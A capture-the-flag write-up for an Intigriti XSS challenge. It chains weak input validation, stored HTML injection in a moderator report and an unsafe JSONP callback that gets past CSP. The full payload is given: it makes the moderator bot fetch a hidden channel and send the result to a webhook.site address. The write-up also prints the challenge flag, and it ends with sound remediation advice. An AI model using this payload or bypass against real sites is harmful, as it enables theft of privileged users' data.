Intigriti August 2026 XSS Challenge Writeup

Introduction

Hello,

This is my writeup for the Intigriti August 2026 XSS challenge.

The challenge was hosted at:

https://challenge-0826.challenges.intigriti.io/challenge

The app name was Bad Reception.

It looked like an old TV. The TV had only 10 channel buttons and every channel showed bad reception.

The page said:

Make the TV work to capture the flag

The challenge hint was:

If you happen to fix the bad reception, will you still be limited to only 10 channels?

There was also a report button. Another hint said:

If your favorite TV channel isn't working, you can always report it.

So the direction was clear. I had to look at the channel loader and the report feature.

The final bug was a blind stored XSS. I used an unsafe JSONP endpoint to bypass CSP, asked the moderator bot to load hidden Channel 11, and sent the result to my webhook.


TL;DR

The report endpoint expected a channel number, but it accepted HTML after a valid number.

The moderator page rendered that value as HTML without escaping it.

Normal inline JavaScript was blocked by CSP. But the site also had /api/jsonp, and its callback parameter was inserted directly into JavaScript.

Because /api/jsonp was on the same origin, CSP allowed it as a script source.

I injected a script tag that loaded JavaScript from /api/jsonp. That JavaScript requested /api/channels/11/load inside the moderator bot and sent the returned video name to my webhook.

Then I opened the video and got the flag.


Looking at the TV code

I first checked the page source.

The channel buttons were created with this loop:

for (let n = 1; n <= 10; n++) {
  const b = document.createElement('button');
  b.textContent = n;
  b.addEventListener('click', () => tune(n, b));
  keypad.appendChild(b);
}

This only creates buttons from Channel 1 to Channel 10.

When I clicked a channel, the page sent this request:

fetch(`/api/channels/${n}/load`, {
  credentials: 'same-origin'
})

So the important endpoint was:

/api/channels/<number>/load

The source also had a commented header:

/*headers: {
  'X-Channel-Id': n
}*/

I tested X-Channel-Id: 11, but it did not give me Channel 11. It was a red herring.

I also tried channels after 11. They returned 403.

Channel 11 was the hidden channel, but I could not load it directly in my normal browser.


Looking at the report feature

The report button sent this request:

POST /api/report
Content-Type: application/x-www-form-urlencoded

channelId=1

The browser normally gets channelId from the text shown on the TV.

But I could intercept the request and change it to anything.

The server did not check that the complete value was only a number. It accepted a valid number followed by HTML.

For example, a value like this was accepted:

1<h1>test</h1>

The starting 1 passed the channel check. The HTML after it was still stored in the report.

When the moderator bot opened the report, the value was placed into the page without HTML escaping.

So the browser treated my HTML as real page content.

This gave me stored HTML injection in the moderator page.


Inline JavaScript was blocked

My first idea was a normal XSS payload:

1<script>alert(1)</script>

The HTML injection worked, but the JavaScript did not run.

The moderator page had a Content Security Policy. It blocked inline scripts.

So I needed a JavaScript file that CSP already trusted.

Because the policy allowed same-origin scripts, I started checking the site's own API endpoints.


Finding the JSONP endpoint

The useful endpoint was:

/api/jsonp

Without a callback, it returned:

/**/ ({"channels": 10});

The endpoint also accepted a callback parameter.

For example:

/api/jsonp?callback=alert(1)//

The response became:

/**/ alert(1)//({"channels": 10});

The callback was copied directly into the JavaScript response.

The // is important. It comments out the JSON data added by the endpoint.

This means I could put my own JavaScript inside the callback parameter.

It also came from the challenge origin, so CSP trusted and loaded it.

This was my CSP bypass.


Building the final payload

This was my final payload:

1<script src="/api/jsonp?callback=(async()=>{let x=await(await fetch(`/api/channels/11/load`)).text();new Image().src=`https://webhook.site/YOUR-ID?x=${encodeURIComponent(x)}`})()//"></script>

I replaced YOUR-ID with my own webhook.site ID.

I sent it as the channelId value in POST /api/report.

The starting 1 passed the weak validation.

The script tag was then rendered inside the moderator page.


Understanding the payload

The script tag loaded this same-origin URL:

/api/jsonp?callback=...

The callback contained an async JavaScript function:

(async () => {
  let x = await (
    await fetch(`/api/channels/11/load`)
  ).text();

  new Image().src =
    `https://webhook.site/YOUR-ID?x=${encodeURIComponent(x)}`;
})()//

This code did two things.

First, it requested hidden Channel 11:

fetch(`/api/channels/11/load`)

This request came from the moderator bot's browser. The bot had access that my normal browser did not have.

Second, it sent the response to my webhook:

new Image().src = `https://webhook.site/YOUR-ID?x=${encodeURIComponent(x)}`

Creating an image makes the browser send a GET request. I used the x query parameter to carry the Channel 11 response.


What happened in the moderator browser

The complete flow was:

  1. I submitted the malicious channelId to /api/report.
  2. The server saved the report.
  3. The moderator bot opened it later.
  4. The moderator page rendered my script tag as HTML.
  5. The script tag loaded /api/jsonp from the same origin.
  6. The JSONP callback ran my JavaScript and bypassed CSP.
  7. My JavaScript requested /api/channels/11/load as the moderator bot.
  8. The result was sent to my webhook.

This is why the vulnerability is called blind stored XSS.

It was stored because the payload was saved in a report and executed later.

It was blind because I did not see it run in my own browser. It ran in the moderator bot, so I needed the webhook to see the result.


Getting Channel 11

My webhook received this value:

3b7c7029a954248116ad18348b2a51dad448400fe0b36a0098fa55dc0aef7437.mp4

This was the video filename returned by hidden Channel 11.

The normal channel code loads videos from /static/streams/, so I opened:

https://challenge-0826.challenges.intigriti.io/static/streams/3b7c7029a954248116ad18348b2a51dad448400fe0b36a0098fa55dc0aef7437.mp4

The video showed the flag.


The Flag

INTIGRITI{019ff176-bc01-7543-9e81-46e417c8b39b}

Vulnerability chain

This challenge needed more than one issue.

The full chain was:

Weak channelId validation
        ↓
Stored HTML injection in the moderator report
        ↓
Unsafe JSONP callback
        ↓
CSP bypass
        ↓
Blind stored XSS
        ↓
Access to hidden Channel 11

The main XSS type was blind stored XSS.

The input vector was the channelId parameter in POST /api/report.

The CSP bypass vector was the callback parameter in /api/jsonp.


Fix

The fixes are simple:

  • accept only an integer from 1 to 10 in channelId
  • validate the full value on the server, not only the first character
  • escape report data before adding it to HTML
  • use textContent when showing user input
  • remove JSONP if it is not needed
  • never place an untrusted callback directly into JavaScript
  • use a nonce-based CSP for scripts
  • do not give the moderator bot access to anything it does not need

If the channel ID was checked correctly or the report value was escaped, the XSS would not work.

If the JSONP callback was safe, the CSP bypass would also fail.

Thanks to Intigriti for the challenge.